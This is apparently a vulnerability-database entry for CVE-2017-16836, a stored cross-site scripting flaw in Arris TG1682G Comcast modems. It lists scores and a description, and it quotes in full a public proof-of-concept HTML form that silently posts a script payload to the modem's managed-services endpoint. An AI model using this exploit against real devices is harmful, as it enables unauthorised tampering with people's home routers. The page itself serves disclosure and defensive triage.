CVE-2017-16836

medium

Published 2017-11-16 · Modified 2026-05-13

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CVSS v3

6.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

7.1

Description

Arris TG1682G devices with Comcast TG1682_2.0s7_PRODse 10.0.59.SIP.PC20.CT software allow Unauthenticated Stored XSS via the actionHandler/ajax_managed_services.php service parameter.

Predictions

Exploit likelihood

71%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38657 webapps hardware text · 1 KB

Nu11By73 · 2015-11-09

Arris TG1682G Modem - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB

<!--
# Exploit Title: Unauthenticated Stored Xss
# Date: 11/6/15
# Exploit Author: Nu11By73
# Vendor Homepage: comcast.net and arrisi.com
# Version:  eMTA & DOCSIS Software Version: 10.0.59.SIP.PC20.CT
Software Image Name:TG1682_2.0s7_PRODse
Advanced Services:TG1682G
Packet Cable:2.0
# Tested on: Default Install
-->

<html>
<p>Unauth Stored CSRF/XSS - Xfinity Modem</p>
<form method="POST" action="http://192.168.0.1/actionHandler/ajax_managed_services.php">
<input type="hidden" name="set" value="true" />
<input type="hidden" name="UMSStatus" value="Enabled" />
<input type="hidden" name="add" value="true" />
<input type="hidden" name="service" value="test><script>alert(1)</script>" / >
<input type="hidden" name="protocol" value="TCP" / >
<input type="hidden" name="startPort" value="1" />
<input type="hidden" name="endPort" value="2" />
<input type="hidden" name="block" value="true" />
<input type="submit" title="Enable Service" />
</form>
</html>

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.